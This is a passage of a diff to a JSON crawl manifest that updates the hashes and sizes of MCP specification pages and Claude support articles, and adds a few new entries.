"url": "https://modelcontextprotocol.io/specification/draft/schema",
"status": "success",
"path": "mcp/specification/draft/schema.md",
- "sha256": "78a4a9c000320f2f481e2b327e7064d1ed17ca03a88f0e1fa49ca01ecc271d95",
- "size": 696987
+ "sha256": "2bcdb5ff3d046a422c3bbc1909d587914d1a21e4cfffb11d9e90cb3f726dffd4",
+ "size": 701639
},
{
"url": "https://modelcontextprotocol.io/specification/draft/server/discover",
@@ -6645,7 +7429,7 @@
"url": "https://support.claude.com/en/articles/8114491-get-started-with-claude",
"status": "success",
"path": "support/8114491-get-started-with-claude.md",
- "sha256": "41d2628a005f36b0fb61f80a5c0de28e4e4e4d65be1fe2b371c5ed32ee9ce99c",
+ "sha256": "ee0c5085e8b25c2c2abfb67ecb698fd785c35cd4331989ebca70660bd7e98078",
"size": 5300
},
{
@@ -6729,8 +7513,8 @@
"url": "https://support.claude.com/en/articles/8230524-how-can-i-delete-or-rename-a-conversation",
"status": "success",
"path": "support/8230524-how-can-i-delete-or-rename-a-conversation.md",
- "sha256": "b6254127d6aff3378f536805ce216e5855828811d0d758e2ea8a27f1e56c27a7",
- "size": 1297
+ "sha256": "fcea850551ce6ae767fd217996b93194e393662e3c965b63060c00b892c859e9",
+ "size": 1301
},
{
"url": "https://support.claude.com/en/articles/8241126-upload-files-to-claude",
@@ -6771,8 +7555,8 @@
"url": "https://support.claude.com/en/articles/8287232-verify-your-phone-number",
"status": "success",
"path": "support/8287232-verify-your-phone-number.md",
- "sha256": "d1576b5abe321c8772b69d6ff81ece4fb73be3b31d9b1e0129bae7e75d167162",
- "size": 3977
+ "sha256": "6b5c5e084bfb1891f7fdf3a68816caa945ad5c173be899816059127ee71355b7",
+ "size": 3975
},
{
"url": "https://support.claude.com/en/articles/8325606-what-is-the-pro-plan",
@@ -6799,8 +7583,8 @@
"url": "https://support.claude.com/en/articles/8325618-paid-plan-billing-faqs",
"status": "success",
"path": "support/8325618-paid-plan-billing-faqs.md",
- "sha256": "366fa1ba9627bcf456ab7dc75cf0930e2c935f6a9f902f1cefa7fd6aed1eb4ea",
- "size": 4553
+ "sha256": "27d998c9a524d64712c826bb0d03d08eebc893501d691da977234822bb8b80e8",
+ "size": 4555
},
{
"url": "https://support.claude.com/en/articles/8325621-i-would-like-to-input-sensitive-data-into-my-chats-with-claude-who-can-view-my-conversations",
@@ -6841,8 +7625,8 @@
"url": "https://support.claude.com/en/articles/8606378-how-do-i-use-the-workbench",
"status": "success",
"path": "support/8606378-how-do-i-use-the-workbench.md",
- "sha256": "326facbebc16971e99ccb663ce55f7c23b26d40cf9feed78d8a2c1fa37371dbb",
- "size": 9651
+ "sha256": "22fd1e8b85486f0c3f0327ce48ecef4f5a228b0ad0197613a88a7f402fc9d753",
+ "size": 9649
},
{
"url": "https://support.claude.com/en/articles/8606394-how-large-is-the-context-window-on-paid-claude-plans",
@@ -6869,8 +7653,8 @@
"url": "https://support.claude.com/en/articles/8887527-customizing-your-appearance-settings",
"status": "success",
"path": "support/8887527-customizing-your-appearance-settings.md",
- "sha256": "633bf519caac2791563b6f151911b180dadf86ac3f1856523b7d8fb934140ac6",
- "size": 1872
+ "sha256": "2b9626faa11d98d435b5604b3d7ebed98342eee2b60755ebd3eaf419fa4852ef",
+ "size": 1882
},
{
"url": "https://support.claude.com/en/articles/8896518-does-anthropic-crawl-data-from-the-web-and-how-can-site-owners-block-the-crawler",
@@ -6925,8 +7709,8 @@
"url": "https://support.claude.com/en/articles/9028421-how-can-i-delete-my-claude-account",
"status": "success",
"path": "support/9028421-how-can-i-delete-my-claude-account.md",
- "sha256": "8a8eb34114477eb9985558c66099da7bd744bf5ff02f77325e7bfc9125ec0917",
- "size": 2019
+ "sha256": "7dfcfae773941304e60e885861a413c6bd344d5c7c1d0a9d5917fd1d0064813d",
+ "size": 2015
},
{
"url": "https://support.claude.com/en/articles/9035075-law-enforcement-requests",
@@ -6984,6 +7768,27 @@
"sha256": "40e7fea3825a3070d81567a29045d8a9bf4041ddbe338b6dca798eac357821d5",
"size": 1373
},
+ {
+ "url": "https://support.claude.com/en/articles/9266495-how-do-i-sign-up-for-claude-pro-on-the-claude-app-for-ios",
+ "status": "success",
+ "path": "support/9266495-how-do-i-sign-up-for-claude-pro-on-the-claude-app-for-ios.md",
+ "sha256": "9e95d25c6ba70b3f3a47fd4ce85c533add4746e918c391fcc68179bbe3ce7649",
+ "size": 324
+ },
+ {
+ "url": "https://support.claude.com/en/articles/9266767-what-is-the-team-plan",
+ "status": "success",
+ "path": "support/9266767-what-is-the-team-plan.md",
+ "sha256": "912c2b8145da230a80174ac8eac3c852d305f1a553e039f1e9d08ae96283f3ee",
+ "size": 6097
+ },
+ {
+ "url": "https://support.claude.com/en/articles/9267247-get-started-with-the-team-plan",
+ "status": "success",
+ "path": "support/9267247-get-started-with-the-team-plan.md",
+ "sha256": "48f92ded0334b515426274cfb14d34e1ae70f591cad73be1d0111f91773fbf7a",
+ "size": 2431
+ },
{
"url": "https://support.claude.com/en/articles/9267276-roles-and-permissions",
"status": "success",
@@ -7023,8 +7828,8 @@
"url": "https://support.claude.com/en/articles/9267400-move-your-personal-claude-account-to-a-team-or-enterprise-organization",
"status": "success",
"path": "support/9267400-move-your-personal-claude-account-to-a-team-or-enterprise-organization.md",
- "sha256": "0ab23c56cd59f5b95cea9a6674e41039ba8db55869932e32deb716690b906e28",
- "size": 8328
+ "sha256": "fac1f28091969d47672b9beb141588c6e90a113744e13285f61be00b2f04603a",
+ "size": 8330
},
{
"url": "https://support.claude.com/en/articles/9301722-updates-to-our-acceptable-use-policy-now-usage-policy-consumer-terms-of-service-and-privacy-policy",
@@ -7072,15 +7877,15 @@
"url": "https://support.claude.com/en/articles/9519177-how-can-i-create-and-manage-projects",
"status": "success",
"path": "support/9519177-how-can-i-create-and-manage-projects.md",
- "sha256": "8385e68dea3f803cd38452cc9fcf3a83c3cc88c8db27cf1708c9c68edd5d2e18",
- "size": 9271
+ "sha256": "d2c0ab411e19c55cea45f792f83e4be52182dd211804a057ca34b7b6faf4dfeb",
+ "size": 9267
},
{
"url": "https://support.claude.com/en/articles/9519189-manage-project-visibility-and-sharing",
"status": "success",
"path": "support/9519189-manage-project-visibility-and-sharing.md",
- "sha256": "9bec71f71a1c45925d59fe7428b7a16d7a4358bfbcaf8dbcc9de7fc7ba67dfd8",
- "size": 8556
+ "sha256": "0e43193c2aa1b87f43e052bf16a5ca471f3375ede7a2f57880952bef148b3f0c",
+ "size": 8560
},
{
"url": "https://support.claude.com/en/articles/9519291-what-is-anthropic-s-policy-for-handling-governmental-requests-for-user-information",
@@ -7100,15 +7905,15 @@
"url": "https://support.claude.com/en/articles/9534590-cost-and-usage-reporting-in-the-claude-console",
"status": "success",
"path": "support/9534590-cost-and-usage-reporting-in-the-claude-console.md",
- "sha256": "85fcd8c259f7c439a02c3a2a814ad149e8735d0c81a0a8e3bb806e0a5c9ef07b",
- "size": 5108
+ "sha256": "67cb560bd5d37c918399219cc2e40fd146fa6507eea43a4fe22c8569fd2032ad",
+ "size": 5102
},
{
"url": "https://support.claude.com/en/articles/9547008-publish-and-share-artifacts",
"status": "success",
"path": "support/9547008-publish-and-share-artifacts.md",
- "sha256": "013b3846f587046fccfdf30e4b0b308b4b090cfceb9f6d66ad330262958fec2a",
- "size": 7334
+ "sha256": "5acc2eeca4fcbd702cb373328d00c19379f6dd607c601fb342fb5ff8420a046d",
+ "size": 7330
},
{
"url": "https://support.claude.com/en/articles/9612887-install-claude-for-android",
@@ -7184,8 +7989,8 @@
"url": "https://support.claude.com/en/articles/9927533-disable-public-projects-for-your-organization",
"status": "success",
"path": "support/9927533-disable-public-projects-for-your-organization.md",
- "sha256": "ab4db605ece9b35cb647bb434cc2af7dbfac8505e9d647b05ea5f46e041e8404",
- "size": 2584
+ "sha256": "f9b69136b09a91436b1e73a8c1c6e4884735dfe8edf677b5cd1d05b3f13d30d1",
+ "size": 2582
},
{
"url": "https://support.claude.com/en/articles/9927624-add-or-update-your-team-plan-s-tax-or-vat-id",
@@ -7324,15 +8129,15 @@
"url": "https://support.claude.com/en/articles/10310342-how-do-i-log-out-of-all-active-sessions",
"status": "success",
"path": "support/10310342-how-do-i-log-out-of-all-active-sessions.md",
- "sha256": "ecf040a9e546a196bf6d05d38f3062cb0a5b8169b1ef961fec58973ef32bf442",
+ "sha256": "37f002d59f9343e43753d5607732cd54e9661ab778ae71e1e12ebab63a493830",
"size": 2482
},
{
"url": "https://support.claude.com/en/articles/10366376-how-can-i-delete-my-claude-console-account",
"status": "success",
"path": "support/10366376-how-can-i-delete-my-claude-console-account.md",
- "sha256": "98b004c4a8bd40b6a439df37e8688f6172d70c0b74d5b2751a466ed4859d7e8a",
- "size": 3169
+ "sha256": "bc53c48ac4291210023d00a86187be868fb21b78a31e1ebce7df47d36f89e324",
+ "size": 3165
},
{
"url": "https://support.claude.com/en/articles/10366389-how-can-i-get-higher-rate-limits-on-the-claude-api",
@@ -7380,15 +8185,15 @@
"url": "https://support.claude.com/en/articles/10504844-manage-user-feedback-settings-on-team-and-enterprise-plans",
"status": "success",
"path": "support/10504844-manage-user-feedback-settings-on-team-and-enterprise-plans.md",
- "sha256": "68ccaf45746787e2ea86c885db86ef56caf9f7921b396b7a11545c692245bf90",
- "size": 1036
+ "sha256": "c0657862ece319824c743c6b512332f60e1bb74e98b2ef6af47952116cac54b6",
+ "size": 1034
},
{
"url": "https://support.claude.com/en/articles/10504853-manage-user-feedback-settings-on-claude-console",
"status": "success",
"path": "support/10504853-manage-user-feedback-settings-on-claude-console.md",
- "sha256": "244570ee8fa776911faa54f67bd7f2d4e9d23032cb5b1de66f54e061e1d7bede",
- "size": 999
+ "sha256": "d5c95846b405849a8ba5c3a77e153057fa249972b71282cd9fd9f66d0d410ad5",
+ "size": 1001
},
{
"url": "https://support.claude.com/en/articles/10534883-use-the-claude-widget-on-android",
@@ -7401,15 +8206,15 @@
"url": "https://support.claude.com/en/articles/10593882-share-and-unshare-chats",
"status": "success",
"path": "support/10593882-share-and-unshare-chats.md",
- "sha256": "bf3b6ed52b4652ae6f35fa33c558eb8227deeb32fc566da44da292e170c74ade",
- "size": 4016
+ "sha256": "dd689e3a176960d54ed6bebc5896a631a4cd336adee1ddfee88dc680fb378627",
+ "size": 4014
},
{
"url": "https://support.claude.com/en/articles/10684626-enable-and-use-web-search",
"status": "success",
"path": "support/10684626-enable-and-use-web-search.md",
- "sha256": "f1fd2b59ba5a96d212446961b4b8cc1b0b012bf9d6838ab54eca780914c0196a",
- "size": 6370
+ "sha256": "fd5785fece6586e3abe995a9d08cf215f0657bbfdb2c747e2a6587bafc646ce3",
+ "size": 6368
},
{
"url": "https://support.claude.com/en/articles/10684638-reporting-blocking-and-removing-content-from-claude",
@@ -7422,8 +8227,8 @@
"url": "https://support.claude.com/en/articles/10722177-sharing-prompts-in-the-claude-console",
"status": "success",
"path": "support/10722177-sharing-prompts-in-the-claude-console.md",
- "sha256": "88e2f5b2ec95ede8c45b9734b32977d697e94523bb919e2f31055de86b47f8e9",
- "size": 4527
+ "sha256": "a6e21d6d9fe7e0b0d3eb6f45e184aa1be7c2a179fc2eaa381400070a3fd32469",
+ "size": 4525
},
{
"url": "https://support.claude.com/en/articles/10769299-how-to-use-claude-in-your-preferred-language",
@@ -7436,8 +8241,8 @@
"url": "https://support.claude.com/en/articles/10949351-getting-started-with-local-mcp-servers-on-claude-desktop",
"status": "success",
"path": "support/10949351-getting-started-with-local-mcp-servers-on-claude-desktop.md",
- "sha256": "d566478b5af7b5252e5d8cd4ae14261971ab7fe9cace98eb82a7dff190e36e47",
- "size": 8267
+ "sha256": "f3c21a12d6bf4f6c52389b3523da7b5847a894c44cb1e285fe3fd5e941cd5d1e",
+ "size": 8269
},
{
"url": "https://support.claude.com/en/articles/11049741-what-is-the-max-plan",
@@ -7478,8 +8283,8 @@
"url": "https://support.claude.com/en/articles/11101966-use-voice-mode",
"status": "success",
"path": "support/11101966-use-voice-mode.md",
- "sha256": "9126f24e1a419e4f2f6732e4ee5fcfe6570ec082da2c28d9bcd6778b977935cf",
- "size": 10554
+ "sha256": "bcb6c3c7a8df0332c539a2c805baca70accc85575fe49c4ca5ae811439397c7e",
+ "size": 10558
},
{
"url": "https://support.claude.com/en/articles/11107691-why-is-a-coupon-or-promotion-not-available-for-my-account",
@@ -7583,8 +8388,8 @@
"url": "https://support.claude.com/en/articles/11506255-get-started-with-claude-in-slack",
"status": "success",
"path": "support/11506255-get-started-with-claude-in-slack.md",
- "sha256": "dc11f20353ef5af3c5cb92ef7e7f5f17ffc3afa4eef893682cca590a7c5dc38c",
- "size": 10414
+ "sha256": "6c74c55d96d936d440b6883905aab0a87f78b83d2b4186c9623627b987dabb01",
+ "size": 10406
},
{
"url": "https://support.claude.com/en/articles/11526368-how-am-i-billed-for-my-enterprise-plan",
@@ -7625,8 +8430,8 @@
"url": "https://support.claude.com/en/articles/11725453-set-up-the-claude-lti-in-canvas-by-instructure",
"status": "success",
"path": "support/11725453-set-up-the-claude-lti-in-canvas-by-instructure.md",
- "sha256": "efa151bbc0b9375a29d024088155c9b904101b75638e295aa2b9609af0d83576",
- "size": 2750
+ "sha256": "fe5ad60f8e10a24e7d119c406755d8f3e8552069769fe09c55012ae13ca16335",
+ "size": 2748
},
{
"url": "https://support.claude.com/en/articles/11732894-who-owns-and-manages-the-data-of-my-claude-for-education-account",
@@ -7639,14 +8444,14 @@
"url": "https://support.claude.com/en/articles/11817273-use-claude-s-chat-search-and-memory-to-build-on-previous-context",
"status": "success",
"path": "support/11817273-use-claude-s-chat-search-and-memory-to-build-on-previous-context.md",
- "sha256": "9c9013ebfce9743313617ed7bce920f463fa206dcf13681d629c126bcb069914",
- "size": 21516
+ "sha256": "b543a22d1f58e375b9b65f55396712d92fe48f636a84a60343fd515144f09eff",
+ "size": 21508
},
{
"url": "https://support.claude.com/en/articles/11818288-why-am-i-being-asked-to-verify-my-payment-method",
"status": "success",
"path": "support/11818288-why-am-i-being-asked-to-verify-my-payment-method.md",
- "sha256": "8159ea7edd9e8ad7686ae45942cf2c43ed2561cacedbeb22e89216d0e5cd3e4d",
+ "sha256": "3dbea8dd4f58b92b547181ac65a7e040bafaa1602426f64f724432adaadbafdf",
"size": 816
},
{
@@ -7681,8 +8486,8 @@
"url": "https://support.claude.com/en/articles/11869629-use-claude-with-android-apps",
"status": "success",
"path": "support/11869629-use-claude-with-android-apps.md",
- "sha256": "1490253b440e1e8ad72fbb2d868b8bad897f3dfb35538b8a7b3ee09c35bbd9c7",
- "size": 13877
+ "sha256": "f067d4e30f42d2f8f6f1b13d19156e35fc3e49f7f3e3d9c39e9f477a03c02724",
+ "size": 13879
},
{
"url": "https://support.claude.com/en/articles/11932705-automated-security-reviews-in-claude-code",
@@ -7716,15 +8521,15 @@
"url": "https://support.claude.com/en/articles/12005970-manage-usage-credits-for-team-and-seat-based-enterprise-plans",
"status": "success",
"path": "support/12005970-manage-usage-credits-for-team-and-seat-based-enterprise-plans.md",
- "sha256": "aa11792b70d51bcdd4a1e14d2374a343fee54d18043c610becce3b7e01f5d2aa",
- "size": 9636
+ "sha256": "91bebb09e414700a409ad910f0f51d3bf8437cefe0cb35fe89b9c08c524f554f",
+ "size": 9632
},
{
"url": "https://support.claude.com/en/articles/12012173-get-started-with-claude-in-chrome",
"status": "success",
"path": "support/12012173-get-started-with-claude-in-chrome.md",
- "sha256": "04bbaebe9948cfdc69c5664ce52a808bb74d10cf687ec1b98e043842ce077fba",
- "size": 12674
+ "sha256": "03a1e40321f967a50229f07e25d1b4596e01f28c1255881cd6e5d0965f3d351b",
+ "size": 12676
},
{
"url": "https://support.claude.com/en/articles/12053672-what-happens-to-a-user-s-data-when-they-are-removed-from-a-team-or-enterprise-organization",
@@ -7751,8 +8556,8 @@
"url": "https://support.claude.com/en/articles/12111783-create-and-edit-files-with-claude",
"status": "success",
"path": "support/12111783-create-and-edit-files-with-claude.md",
- "sha256": "69ffbdefeceb7cd40d720888158ec893a3ed6fbc8e37e94c3de0241d809243b8",
- "size": 18405
+ "sha256": "6de865e545592066432f9ead616e4e18d2614fd1da24e5711d91f99619fa418d",
+ "size": 18407
},
{
"url": "https://support.claude.com/en/articles/12119250-model-safety-bug-bounty-program",
@@ -7779,22 +8584,22 @@
"url": "https://support.claude.com/en/articles/12157520-claude-code-usage-analytics",
"status": "success",
"path": "support/12157520-claude-code-usage-analytics.md",
- "sha256": "845c94faf6dd06651a4288edbc9c283153953ceda2d527ab09a22f08195d46f9",
- "size": 6427
+ "sha256": "2e704726fe4d0c312e04e2e50f53a737e5b9291e881db1b8544c893781cd2eaf",
+ "size": 6429
},
{
"url": "https://support.claude.com/en/articles/12260368-use-incognito-chats",
"status": "success",
"path": "support/12260368-use-incognito-chats.md",
- "sha256": "2252c8677eb1404c8e0b40b5cb02154cc67de4b05aec95905caea8f103789493",
- "size": 3596
+ "sha256": "509eebec4b37afe6c1553b81d95398b622eddaa8e0ef367ffdd2afed88acdd36",
+ "size": 3598
},
{
"url": "https://support.claude.com/en/articles/12293051-use-claude-in-xcode",
"status": "success",
"path": "support/12293051-use-claude-in-xcode.md",
- "sha256": "ad08ea21ccb7be2ae73654b2f01479f196baf767bcf9cf6b9ae9099758a3881f",
- "size": 1905
+ "sha256": "432ed3b6cfa13e186be55e34c4debea9e813591f3e49ef6641ba3be8009c38cf",
+ "size": 1907
},
{
"url": "https://support.claude.com/en/articles/12304248-manage-api-key-environment-variables-in-claude-code",
@@ -7835,22 +8640,22 @@
"url": "https://support.claude.com/en/articles/12429409-manage-usage-credits-for-paid-claude-plans",
"status": "success",
"path": "support/12429409-manage-usage-credits-for-paid-claude-plans.md",
- "sha256": "f5a28efc6d6d8b2a4b336f6f32b7368e1192522a6e87f9539ca1cc661e454723",
+ "sha256": "79de665c7a4412fe3451dd655db374d07f5a57589d70d1559f76363aeeaabd64",
"size": 6073
},
{
"url": "https://support.claude.com/en/articles/12461605-use-claude-in-slack",
"status": "success",
"path": "support/12461605-use-claude-in-slack.md",
- "sha256": "da7b0c32f9b43da149e179ecf3e912e356a71922e56ed3ec93f162b0698d0fa1",
- "size": 9971
+ "sha256": "95dbd8320d3721749b7fb4e5aed99acb28cd039f954ea1c7816b7fc1819e1d7a",
+ "size": 9969
},
{
"url": "https://support.claude.com/en/articles/12466728-troubleshoot-claude-error-messages",
"status": "success",
"path": "support/12466728-troubleshoot-claude-error-messages.md",
- "sha256": "804f0d34921536557810a2f9348c65e0884189fbe70830ba352bd429db32ee64",
- "size": 4234
+ "sha256": "513b41506e2002f432647d64dd586d8b08b893d60dab83688652e9d2660d02f4",
+ "size": 4236
},
{
"url": "https://support.claude.com/en/articles/12489464-use-enterprise-search",
@@ -7870,8 +8675,8 @@
"url": "https://support.claude.com/en/articles/12512180-use-skills-in-claude",
"status": "success",
"path": "support/12512180-use-skills-in-claude.md",
- "sha256": "14474390160327fcc7edf1d3aa02873c7530900fac73555257e0d7a97b59681d",
- "size": 13270
+ "sha256": "2a8385edbee96fa9cd089d44a14fea922c1f3b4e62d0d89c8c1cc26238b4b2c7",
+ "size": 13266
},
{
"url": "https://support.claude.com/en/articles/12512198-how-to-create-custom-skills",
@@ -7891,7 +8696,7 @@
"url": "https://support.claude.com/en/articles/12592343-enabling-and-using-the-desktop-extension-allowlist",
"status": "success",
"path": "support/12592343-enabling-and-using-the-desktop-extension-allowlist.md",
- "sha256": "a70e73d5b4889579c7a716fee42ccef4d188f0cc396eeabcf14b56b25eac21dc",
+ "sha256": "9da7e687e68072b91442ad532e25975d63070c2cfe1884926c818ac6bd209211",
"size": 5712
},
{
@@ -7905,8 +8710,8 @@
"url": "https://support.claude.com/en/articles/12618689-claude-code-on-the-web",
"status": "success",
"path": "support/12618689-claude-code-on-the-web.md",
- "sha256": "8c664857b099ff48112e0f36f8c8ffd623fa091fae4c6de45095c0ce7f22ea37",
- "size": 10964
+ "sha256": "2ef316ad164cc5728567fd1fb5871b3241fc3837df0c23e2453c1e091a655307",
+ "size": 10958
},
{
"url": "https://support.claude.com/en/articles/12622667-enterprise-configuration-for-claude-desktop",
@@ -7926,14 +8731,14 @@
"url": "https://support.claude.com/en/articles/12626668-use-quick-entry-with-claude-desktop-on-mac",
"status": "success",
"path": "support/12626668-use-quick-entry-with-claude-desktop-on-mac.md",
- "sha256": "e479892be38c907250356452b70aad24c1c14aa3a746c1c687c6c23857a84b01",
+ "sha256": "047f917749098108f6a21dd812a3f7afe9b7823278ee486985bc869a6c6e96b9",
"size": 5972
},
{
"url": "https://support.claude.com/en/articles/12650343-use-claude-for-excel",
"status": "success",
"path": "support/12650343-use-claude-for-excel.md",
- "sha256": "1ae3ba9b65be522f82ddf8c21af8ea3db9a15508457c9fda20fdb66737ffb998",
+ "sha256": "e37c4efe6f8a4a87652cf005b0af328c56c95b164da0c35eb9e66e331b7b1d75",
"size": 20223
},
{
@@ -7968,7 +8773,7 @@
"url": "https://support.claude.com/en/articles/12883420-view-usage-analytics-for-team-and-enterprise-plans",
"status": "success",
"path": "support/12883420-view-usage-analytics-for-team-and-enterprise-plans.md",
- "sha256": "2879fe03d286e0deffd778717631769e1c64f79e07a5cc5e337fb5306680d61c",
+ "sha256": "a3039e1eca9c55efe81c281d6b41455ae54fd1f7ea3713ba515fe759f021a97f",
"size": 13079
},
{
@@ -7996,8 +8801,8 @@
"url": "https://support.claude.com/en/articles/12902446-claude-in-chrome-permissions-guide",
"status": "success",
"path": "support/12902446-claude-in-chrome-permissions-guide.md",
- "sha256": "c72523d34536afd4894465bb1d1c49a7974eec67669196c9d458d47726f7dfd8",
- "size": 8086
+ "sha256": "af5460c436c37732e8391b1142e82c2a07e4d7289e41de41b50045971c5bfddc",
+ "size": 8090
},
{
"url": "https://support.claude.com/en/articles/12922490-remote-mcp-server-submission-guide",
@@ -8080,8 +8885,8 @@
"url": "https://support.claude.com/en/articles/12997503-team-plan-billing-faqs",
"status": "success",
"path": "support/12997503-team-plan-billing-faqs.md",
- "sha256": "337034e35f9ffced7c13e7bedd1345585ee1f6dec72045c0fc2597da0c2f8c35",
- "size": 3928
+ "sha256": "94445934b6b70af7d10152cc4d563dbf6574c33f13a65df1c017d98522b8945c",
+ "size": 3930
},
{
"url": "https://support.claude.com/en/articles/13015708-access-the-compliance-api",
@@ -8129,14 +8934,14 @@
"url": "https://support.claude.com/en/articles/13132885-set-up-single-sign-on-sso",
"status": "success",
"path": "support/13132885-set-up-single-sign-on-sso.md",
- "sha256": "b68e6fb15c9d743c16a0e869c3a4d8553eb0047ffb029c33bf53934bfb9ad1ba",
- "size": 12313
+ "sha256": "a6ff5cd1db707e44b0f0d926ef756fee23955bc22dad024b461f046beb8e1984",
+ "size": 12317
},
{
"url": "https://support.claude.com/en/articles/13133195-set-up-jit-or-scim-provisioning",
"status": "success",
"path": "support/13133195-set-up-jit-or-scim-provisioning.md",
- "sha256": "57faa09c7e07f85157fc0bd3b7e49b719a46d93852e3983d04d5024a73486976",
+ "sha256": "8676aa1147ddb5092659ef777cf4ebe8927fc18293b5b188abde88083d40b6f4",
"size": 16612
},
{
@@ -8164,8 +8969,8 @@
"url": "https://support.claude.com/en/articles/13163631-configuring-session-security-settings",
"status": "success",
"path": "support/13163631-configuring-session-security-settings.md",
- "sha256": "ccd68030d020782e67cd85e48eb6629f414ec7e26c5ca11c201470bcd269dae4",
- "size": 3702
+ "sha256": "e88b7af22f3808daec4b768a72202ef68e4d7378221f32f4d38a142ae1567e0c",
+ "size": 3714
},
{
"url": "https://support.claude.com/en/articles/13163666-holiday-2025-usage-promotion",
@@ -8185,7 +8990,7 @@
"url": "https://support.claude.com/en/articles/13189465-log-in-to-your-claude-account",
"status": "success",
"path": "support/13189465-log-in-to-your-claude-account.md",
- "sha256": "20da0170538f9135218d3abdd4c7765f695d1ad63fd6f87cd113a8e294770f6f",
+ "sha256": "983e9ad9e02d6d529ff6869ddfae82a09f33d9d01d9428c603455a6e9d47646f",
"size": 7036
},
{
@@ -8213,22 +9018,22 @@
"url": "https://support.claude.com/en/articles/13325567-account-management-faqs",
"status": "success",
"path": "support/13325567-account-management-faqs.md",
- "sha256": "bd360d4450d5ef3b60d4f43a7d1239e3d92885ac4806cd8dc1c1a9fde32805a3",
- "size": 2635
+ "sha256": "9e838cb2c803f105ab9e70d77ce5253e745bfb62eb7f19222bdccde086c18064",
+ "size": 2637
},
{
"url": "https://support.claude.com/en/articles/13345190-get-started-with-claude-cowork",
"status": "success",
"path": "support/13345190-get-started-with-claude-cowork.md",
- "sha256": "95c09ad048306cc2ca296e181557cf76ab53950e9abb0d9b3d45a8dec2f09e3f",
+ "sha256": "2f60751590686470571d9d8f4c0fb18a10365dbb02bfe8fe49f577d1767f3f14",
"size": 20041
},
{
"url": "https://support.claude.com/en/articles/13346458-customizing-your-console-appearance-settings",
"status": "success",
"path": "support/13346458-customizing-your-console-appearance-settings.md",
- "sha256": "ff0bc82733a3e5df8be2c1ddfcdf085ebec8cb089875e016b77fdeb448809ae0",
- "size": 607
+ "sha256": "c900212a7a6c3c191499e6f89472a33717c3af9b73f821685e28c250be59fd62",
+ "size": 605
},
{
"url": "https://support.claude.com/en/articles/13346720-export-your-organization-s-data",
@@ -8248,8 +9053,8 @@
"url": "https://support.claude.com/en/articles/13371040-logging-in-to-your-console-account",
"status": "success",
"path": "support/13371040-logging-in-to-your-console-account.md",
- "sha256": "3c78caf0af397ad27bf1169b0d4f3ded88d79d62c24ea30750f028f4cd44abdd",
- "size": 4598
+ "sha256": "f0f8df6004928a32fbe0d64f07ee7a72cc2b25ca2356748531a6022f7100bef2",
+ "size": 4596
},
{
"url": "https://support.claude.com/en/articles/13393991-purchase-and-manage-seats-on-enterprise-plans",
@@ -8311,8 +9116,8 @@
"url": "https://support.claude.com/en/articles/13641943-visual-and-interactive-content",
"status": "success",
"path": "support/13641943-visual-and-interactive-content.md",
- "sha256": "cc81b151b2d37f5aa26a02c56c582268bc84a12161a5cc5ad7a1b9860c7561ff",
- "size": 6507
+ "sha256": "7ac0dea61e09997302bafe3148184e3a987b11e3ea5711d69d9fdf7b1ad2a421",
+ "size": 6509
},
{
"url": "https://support.claude.com/en/articles/13663666-use-visual-and-interactive-content-on-team-and-enterprise-plans",
@@ -8339,8 +9144,8 @@
"url": "https://support.claude.com/en/articles/13756069-public-sector-faqs",
"status": "success",
"path": "support/13756069-public-sector-faqs.md",
- "sha256": "736db80bf0de254203b1b49adb26e330fa5c8c8f65f91eb3d420881642526cd6",
- "size": 8380
+ "sha256": "30ed7046b8720160c5005347ac78a6c09049c922b44cb0018947f62a2aa9af45",
+ "size": 8378
},
{
"url": "https://support.claude.com/en/articles/13776697-join-an-organization-via-invite-link",
@@ -8367,29 +9172,29 @@
"url": "https://support.claude.com/en/articles/13837433-manage-plugins-for-your-organization",
"status": "success",
"path": "support/13837433-manage-plugins-for-your-organization.md",
- "sha256": "d8f32afa145e52bb67665a69000ad0c7485a63e614d1f99ad7586963d4fd4761",
- "size": 19757
+ "sha256": "3e97797ac61f73a03469e6b2ca66641ee2121142c655d2927325e0e1dd0dcc36",
+ "size": 19761
},
{
"url": "https://support.claude.com/en/articles/13837440-use-plugins-in-claude",
"status": "success",
"path": "support/13837440-use-plugins-in-claude.md",
- "sha256": "1683b9e04581f597ecfefaaccae43b8e1fc1de3eb53d55e7dec76fb29b83494a",
- "size": 6364
+ "sha256": "064159379c4ae8abf898c978a36fc89d30a5016ed45830e074be6fb1f6687e88",
+ "size": 6356
},
{
"url": "https://support.claude.com/en/articles/13854387-schedule-recurring-tasks-in-claude-cowork",
"status": "success",
"path": "support/13854387-schedule-recurring-tasks-in-claude-cowork.md",
- "sha256": "88aed3907d1d71f6b2fe1a4225860586e886f3c1470543ec5d46381a136a1aec",
- "size": 4702
+ "sha256": "0ff0fbe1bf4930ba18fd2d75d1f4c2bcc4effeda37d2409d683c05ea7429fbf5",
+ "size": 4700
},
{
"url": "https://support.claude.com/en/articles/13892150-work-across-microsoft-365-apps",
"status": "success",
"path": "support/13892150-work-across-microsoft-365-apps.md",
- "sha256": "faa02f6bbb9e6ea385b4a1700682f7902e8ea0b56221ede008c6d0ce22f3e577",
- "size": 6338
+ "sha256": "5a5187694325fb61e11915dfd55868534b4ee2aed9cabb5735467cfb0ae86059",
+ "size": 6342
},
{
"url": "https://support.claude.com/en/articles/13917817-google-workspace-sso-scim-email-mismatch",
@@ -8472,8 +9277,8 @@
"url": "https://support.claude.com/en/articles/13930458-set-up-role-based-permissions-on-enterprise-plans",
"status": "success",
"path": "support/13930458-set-up-role-based-permissions-on-enterprise-plans.md",
- "sha256": "566621766a4c1586ef5ebffd8977a6245bf5d612161cfd803aac7412c33328b9",
- "size": 40978
+ "sha256": "355ac671718f1a46413315fec1e37c85e9463c3319672a5cecab5ccfb3d48ea9",
+ "size": 40982
},
{
"url": "https://support.claude.com/en/articles/13945233-use-claude-for-microsoft-365-with-third-party-platforms",
@@ -8486,7 +9291,7 @@
"url": "https://support.claude.com/en/articles/13947068-assign-tasks-from-anywhere-in-claude-cowork",
"status": "success",
"path": "support/13947068-assign-tasks-from-anywhere-in-claude-cowork.md",
- "sha256": "9250bca7b77dd71f5e6efcf1033e5c9dc3b1ee64ca32a70cc7e8e51a038d8132",
+ "sha256": "1c7b92964dca1d76447d628e4554c8b5b22f077873da89b423468fd21ec37c62",
"size": 8280
},
{
@@ -8507,15 +9312,15 @@
"url": "https://support.claude.com/en/articles/14116274-organize-your-tasks-with-projects-in-claude-cowork",
"status": "success",
"path": "support/14116274-organize-your-tasks-with-projects-in-claude-cowork.md",
- "sha256": "244761b3e0054d092cfe10e931ec80020ab3903574d60e266f3d63d624c17be6",
- "size": 5700
